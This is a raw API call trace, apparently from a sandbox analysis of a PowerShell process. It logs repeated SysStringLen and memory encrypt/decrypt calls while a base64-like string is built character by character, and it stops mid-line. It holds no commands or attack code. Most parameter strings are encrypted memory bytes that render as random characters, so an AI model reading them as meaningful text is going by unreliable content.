[0205.190] SysStringLen (param_1="殃꛹➞녇됁셭腵镂媄ጁ䗞ଇ㒵鵉衡多") returned 0x10 [0205.190] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0205.190] SysStringLen (param_1="fMF2GS2YfJ/உ㿮眒塹") returned 0x10 [0205.191] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0205.191] SysStringLen (param_1="殃꛹➞녇됁셭腵镂쉉릑ል띳缾") returned 0x10 [0205.191] SysStringLen (param_1="殃꛹➞녇됁셭腵镂쉉릑ል띳缾") returned 0x10 [0205.191] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0205.191] SysStringLen (param_1="fMF2GS2YfJ/S㿮眒塹") returned 0x10 [0205.191] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0205.191] SysStringLen (param_1="殃꛹➞녇됁셭腵镂촟劇迸鳷纊ꂼ") returned 0x10 [0205.191] SysStringLen (param_1="殃꛹➞녇됁셭腵镂촟劇迸鳷纊ꂼ") returned 0x10 [0205.191] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0205.191] SysStringLen (param_1="fMF2GS2YfJ/SN眒塹") returned 0x10 [0205.191] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0205.191] SysStringLen (param_1="殃꛹➞녇됁셭腵镂힜ᔑუở끂梮") returned 0x10 [0205.191] SysStringLen (param_1="殃꛹➞녇됁셭腵镂힜ᔑუở끂梮") returned 0x10 [0205.191] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0205.192] SysStringLen (param_1="fMF2GS2YfJ/SNK塹") returned 0x10 [0205.192] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0205.192] SysStringLen (param_1="殃꛹➞녇됁셭腵镂ဓ樸虌셌갓硾㾩") returned 0x10 [0205.192] SysStringLen (param_1="殃꛹➞녇됁셭腵镂ဓ樸虌셌갓硾㾩") returned 0x10 [0205.192] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0205.192] SysStringLen (param_1="fMF2GS2YfJ/SNKJ塹") returned 0x10 [0205.192] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0205.192] SysStringLen (param_1="殃꛹➞녇됁셭腵镂ⵉ穘相憪黕焛특") returned 0x10 [0205.192] SysStringLen (param_1="殃꛹➞녇됁셭腵镂ⵉ穘相憪黕焛특") returned 0x10 [0205.192] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0205.192] SysStringLen (param_1="fMF2GS2YfJ/SNKJK") returned 0x10 [0205.192] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0205.193] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙⊋) returned 0x10 [0205.193] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙⊋) returned 0x10 [0205.193] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙⊋) returned 0x10 [0205.193] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙⊋) returned 0x18 [0205.193] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0205.193] SysStringLen (param_1="fMF2GS2YfJ/SNKJKS꥽ᣌᥰ˸\귟閪≆) returned 0x18 [0205.193] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0205.193] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙䧻믬䨫㮾㄂鱚ځ⋨) returned 0x18 [0205.193] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙䧻믬䨫㮾㄂鱚ځ⋨) returned 0x18 [0205.193] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0205.194] SysStringLen (param_1="fMF2GS2YfJ/SNKJKSKᣌᥰ˸\귟閪≆) returned 0x18 [0205.194] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0205.194] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙Ӌ㧬䣌⫅㠔唴⊁) returned 0x18 [0205.194] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙Ӌ㧬䣌⫅㠔唴⊁) returned 0x18 [0205.194] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0205.194] SysStringLen (param_1="fMF2GS2YfJ/SNKJKSKQᥰ˸\귟閪≆) returned 0x18 [0205.194] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0205.194] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙䲋龸䭞ꇶ\Ǜꀑᅣ☷") returned 0x18 [0205.194] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙䲋龸䭞ꇶ\Ǜꀑᅣ☷") returned 0x18 [0205.194] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0205.194] SysStringLen (param_1="fMF2GS2YfJ/SNKJKSKQZ˸\귟閪≆) returned 0x18 [0205.194] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0205.195] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙溋둕磬ψ捴쟜훔∊) returned 0x18 [0205.195] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙溋둕磬ψ捴쟜훔∊) returned 0x18 [0205.195] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0205.195] SysStringLen (param_1="fMF2GS2YfJ/SNKJKSKQZa\귟閪≆) returned 0x18 [0205.195] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0205.195] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙ҋꉌ냨䌁칾愫㼼꒍≮) returned 0x18 [0205.195] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙ҋꉌ냨䌁칾愫㼼꒍≮) returned 0x18 [0205.195] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0205.195] SysStringLen (param_1="fMF2GS2YfJ/SNKJKSKQZaoꪭ䚕") returned 0x18 [0205.195] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0205.195] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙උྗ甔鴻鴻細伒匏∾) returned 0x18 [0205.195] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙උྗ甔鴻鴻細伒匏∾) returned 0x18 [0205.195] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0205.196] SysStringLen (param_1="fMF2GS2YfJ/SNKJKSKQZaoD䚕") returned 0x18 [0205.196] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0205.196] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙궋שּׂ퍛䣮ꎸ萱劯⋲) returned 0x18 [0205.196] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙궋שּׂ퍛䣮ꎸ萱劯⋲) returned 0x18 [0205.196] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0205.196] SysStringLen (param_1="fMF2GS2YfJ/SNKJKSKQZaoDA") returned 0x18 [0205.196] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0205.196] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專⋠) returned 0x18 [0205.196] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專⋠) returned 0x18 [0205.196] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專⋠) returned 0x18 [0205.197] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專⋠) returned 0x20 [0205.197] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0205.197] SysStringLen (param_1="fMF2GS2YfJ/SNKJKSKQZaoDA5䢥皇㳽騃侐箼ⵧ") returned 0x20 [0205.197] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0205.197] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專駠쐪\㷙ⴙ\૛暿ো⊔) returned 0x20 [0205.197] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專駠쐪\㷙ⴙ\૛暿ো⊔) returned 0x20 [0205.197] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0205.197] SysStringLen (param_1="fMF2GS2YfJ/SNKJKSKQZaoDA5e皇㳽騃侐箼ⵧ") returned 0x20 [0205.197] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0205.197] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專à䇷フ욲裷쭹䨌慪≻) returned 0x20 [0205.197] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專à䇷フ욲裷쭹䨌慪≻) returned 0x20 [0205.197] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0205.198] SysStringLen (param_1="fMF2GS2YfJ/SNKJKSKQZaoDA5eM㳽騃侐箼ⵧ") returned 0x20 [0205.198] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0205.198] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專㓠ᔵ嵠樉ﺍ斻\廘") returned 0x20 [0205.198] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專㓠ᔵ嵠樉ﺍ斻\廘") returned 0x20 [0205.198] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0205.198] SysStringLen (param_1="fMF2GS2YfJ/SNKJKSKQZaoDA5eMR騃侐箼ⵧ") returned 0x20 [0205.200] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0205.200] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專￠ꭞ銅憱⯌摉∤) returned 0x20 [0205.201] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專￠ꭞ銅憱⯌摉∤) returned 0x20 [0205.201] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0205.201] SysStringLen (param_1="fMF2GS2YfJ/SNKJKSKQZaoDA5eMRn侐箼ⵧ") returned 0x20 [0205.201] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0205.201] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專샠ᜆ퐳ꩴඩዊ灺睔≨) returned 0x20 [0205.201] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專샠ᜆ퐳ꩴඩዊ灺睔≨) returned 0x20 [0205.201] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0205.201] SysStringLen (param_1="fMF2GS2YfJ/SNKJKSKQZaoDA5eMRn8箼ⵧ") returned 0x20 [0205.201] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0205.201] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專哠舼鬩챶⹵？먰믅⊨) returned 0x20 [0205.201] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專哠舼鬩챶⹵？먰믅⊨) returned 0x20 [0205.201] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0205.202] SysStringLen (param_1="fMF2GS2YfJ/SNKJKSKQZaoDA5eMRn8Iⵧ") returned 0x20 [0205.202] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0205.202] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專髠ꁆᒕꎱ⣵䶊탑訜⋯) returned 0x20 [0205.202] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專髠ꁆᒕꎱ⣵䶊탑訜⋯) returned 0x20 [0205.202] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0205.202] SysStringLen (param_1="fMF2GS2YfJ/SNKJKSKQZaoDA5eMRn8Is") returned 0x20 [0205.202] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0205.202] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專㋠뀻輜捠鶾廐﨓∬) returned 0x20 [0205.202] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專㋠뀻輜捠鶾廐﨓∬) returned 0x20 [0205.202] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專㋠뀻輜捠鶾廐﨓∬) returned 0x20 [0205.203] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專㋠뀻輜捠鶾廐﨓∬) returned 0x28 [0205.203] SystemFunction041 (in: Memory=0x5c91bac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91bac) returned 0x0 [0205.203] SysStringLen (param_1="fMF2GS2YfJ/SNKJKSKQZaoDA5eMRn8Isg␥៦ҭ孲ꠡ悇") returned 0x28 [0205.203] SystemFunction040 (in: Memory=0x5c91bac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91bac) returned 0x0 [0205.203] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專㋠뀻輜捠鶾廐﨓ବṗ쁊ℛ\淛䟦௔ﰋ") returned 0x28 [0205.203] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專㋠뀻輜捠鶾廐﨓ବṗ쁊ℛ\淛䟦௔ﰋ") returned 0x28 [0205.203] SystemFunction041 (in: Memory=0x5c91bac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91bac) returned 0x0 [0205.203] SysStringLen (param_1="fMF2GS2YfJ/SNKJKSKQZaoDA5eMRn8IsgY៦ҭ孲ꠡ悇") returned 0x28 [0205.203] SystemFunction040 (in: Memory=0x5c91bac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91bac) returned 0x0 [0205.203] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專㋠뀻輜捠鶾廐﨓喭ഃ哫䧾諬糌∑) returned 0x28 [0205.203] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專㋠뀻輜捠鶾廐﨓喭ഃ哫䧾諬糌∑) returned 0x28 [0205.203] SystemFunction041 (in: Memory=0x5c91bac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91bac) returned 0x0 [0205.204] SysStringLen (param_1="fMF2GS2YfJ/SNKJKSKQZaoDA5eMRn8IsgYwҭ孲ꠡ悇") returned 0x28 [0205.204] SystemFunction040 (in: Memory=0x5c91bac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91bac) returned 0x0 [0205.204] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專㋠뀻輜捠鶾廐﨓ฬ䱒̥⼸㠭Ќ⋦) returned 0x28 [0205.204] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專㋠뀻輜捠鶾廐﨓ฬ䱒̥⼸㠭Ќ⋦) returned 0x28 [0205.204] SystemFunction041 (in: Memory=0x5c91bac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91bac) returned 0x0 [0205.204] SysStringLen (param_1="fMF2GS2YfJ/SNKJKSKQZaoDA5eMRn8IsgYw2孲ꠡ悇") returned 0x28 [0205.204] SystemFunction040 (in: Memory=0x5c91bac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91bac) returned 0x0 [0205.204] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專㋠뀻輜捠鶾廐﨓꤬쏄㬒퉡⵮㹥뷡엋∺) returned 0x28 [0205.204] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專㋠뀻輜捠鶾廐﨓꤬쏄㬒퉡⵮㹥뷡엋∺) returned 0x28 [0205.204] SystemFunction041 (in: Memory=0x5c91bac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91bac) returned 0x0 [0205.204] SysStringLen (param_1="fMF2GS2YfJ/SNKJKSKQZaoDA5eMRn8IsgYw2/ꠡ悇") returned 0x28 [0205.204] SystemFunction040 (in: Memory=0x5c91bac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91bac) returned 0x0 [0205.205] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專㋠뀻輜捠鶾廐﨓漬픐⢿⣪덓埚료≫) returned 0x28 [0205.205] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專㋠뀻輜捠鶾廐﨓漬픐⢿⣪덓埚료≫) returned 0x28 [0205.205] SystemFunction041 (in: Memory=0x5c91bac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91bac) returned 0x0 [0205.205] SysStringLen (param_1="fMF2GS2YfJ/SNKJKSKQZaoDA5eMRn8IsgYw2/F悇") returned 0x28 [0205.205] SystemFunction040 (in: Memory=0x5c91bac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91bac) returned 0x0 [0205.205] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專㋠뀻輜捠鶾廐﨓〬⩴胮䣀急쎕⋐) returned 0x28 [0205.205] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專㋠뀻輜捠鶾廐﨓〬⩴胮䣀急쎕⋐) returned 0x28 [0205.205] SystemFunction041 (in: Memory=0x5c91bac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91bac) returned 0x0 [0205.205] SysStringLen (param_1="fMF2GS2YfJ/SNKJKSKQZaoDA5eMRn8IsgYw2/F+") returned 0x28 [0205.205] SystemFunction040 (in: Memory=0x5c91bac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91bac) returned 0x0 [0205.205] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專㋠뀻輜捠鶾廐﨓氬ᝤ痜৐樵谪洸⋭) returned 0x28 [0205.205] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專㋠뀻輜捠鶾廐﨓氬ᝤ痜৐樵谪洸⋭) returned 0x28 [0205.205] SystemFunction041 (in: Memory=0x5c91bac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91bac) returned 0x0 [0205.206] SysStringLen (param_1="fMF2GS2YfJ/SNKJKSKQZaoDA5eMRn8IsgYw2/F+9") returned 0x28 [0205.206] SystemFunction040 (in: Memory=0x5c91bac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91bac) returned 0x0 [0205.206] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專㋠뀻輜捠鶾廐﨓锬帩샨搜\◘筤") returned 0x28 [0205.206] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專㋠뀻輜捠鶾廐﨓锬帩샨搜\◘筤") returned 0x28 [0205.206] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專㋠뀻輜捠鶾廐﨓锬帩샨搜\◘筤") returned 0x28 [0205.206] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專㋠뀻輜捠鶾廐﨓锬帩샨搜\◘筤") returned 0x30 [0205.206] SystemFunction041 (in: Memory=0x3da8dc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da8dc) returned 0x0 [0205.206] SysStringLen (param_1="fMF2GS2YfJ/SNKJKSKQZaoDA5eMRn8IsgYw2/F+9hᅠ鼷㐎ꄕ鎧魹뙟") returned 0x30 [0205.206] SystemFunction040 (in: Memory=0x3da8dc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da8dc) returned 0x0 [0205.207] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專㋠뀻輜捠鶾廐﨓锬帩샨搜\◘筤덡௧楅윑˙↴콺倝") returned 0x30 [0205.207] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專㋠뀻輜捠鶾廐﨓锬帩샨搜\◘筤덡௧楅윑˙↴콺倝") returned 0x30 [0205.207] SystemFunction041 (in: Memory=0x3da8dc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da8dc) returned 0x0 [0205.207] SysStringLen (param_1="fMF2GS2YfJ/SNKJKSKQZaoDA5eMRn8IsgYw2/F+9hy鼷㐎ꄕ鎧魹뙟") returned 0x30 [0205.207] SystemFunction040 (in: Memory=0x3da8dc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da8dc) returned 0x0 [0205.207] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專㋠뀻輜捠鶾廐﨓锬帩샨搜\◘筤胇\x0e㼌痞疬坃褥") returned 0x30 [0205.207] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專㋠뀻輜捠鶾廐﨓锬帩샨搜\◘筤胇\x0e㼌痞疬坃褥") returned 0x30 [0205.207] SystemFunction041 (in: Memory=0x3da8dc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da8dc) returned 0x0 [0205.207] SysStringLen (param_1="fMF2GS2YfJ/SNKJKSKQZaoDA5eMRn8IsgYw2/F+9hyk㐎ꄕ鎧魹뙟") returned 0x30 [0205.207] SystemFunction040 (in: Memory=0x3da8dc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da8dc) returned 0x0 [0205.207] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專㋠뀻輜捠鶾廐﨓锬帩샨搜\◘筤／讋牭㺪闯케ꈑ䥾") returned 0x30 [0205.207] SysStringLen (param_1="殃꛹➞녇됁셭腵镂釨澥ꎾ褗槸\껙뚋ヷ㌁쿹專㋠뀻輜捠鶾廐﨓锬帩샨搜\◘筤／讋牭㺪闯케ꈑ䥾") returned 0x30 [0205.207] SystemFunction041 (in: Memory=0x3da8dc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da8dc) returned 0x0 [0205.208] SysStringLen (param_1="fMF2GS2YfJ/SNKJKSKQZaoDA5eMRn8IsgYw2/F+9hyk=ꄕ鎧魹뙟") returned 0x30 [0205.208] SystemFunction040 (in: Memory=0x3da8dc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da8dc) returned 0x0 [0205.208] EtwEventActivityIdControl () returned 0x0 [0205.208] EtwEventActivityIdControl () returned 0x0 [0205.208] EtwEventActivityIdControl () returned 0x0 [0205.209] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e690, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0205.209] EtwEventActivityIdControl () returned 0x0 [0205.209] EtwEventActivityIdControl () returned 0x0 [0205.209] EtwEventActivityIdControl () returned 0x0 [0205.210] SysStringLen (param_1="") returned 0x8 [0205.210] SysStringLen (param_1="N") returned 0x8 [0205.210] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0205.210] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0205.210] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0205.210] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0205.211] SysStringLen (param_1="ND") returned 0x8 [0205.211] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0205.211] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0205.211] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0205.211] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0205.211] SysStringLen (param_1="NDZ") returned 0x8 [0205.211] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0205.211] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0205.211] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0205.211] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0205.211] SysStringLen (param_1="NDZl") returned 0x8 [0205.211] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0205.211] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0205.211] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0205.212] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 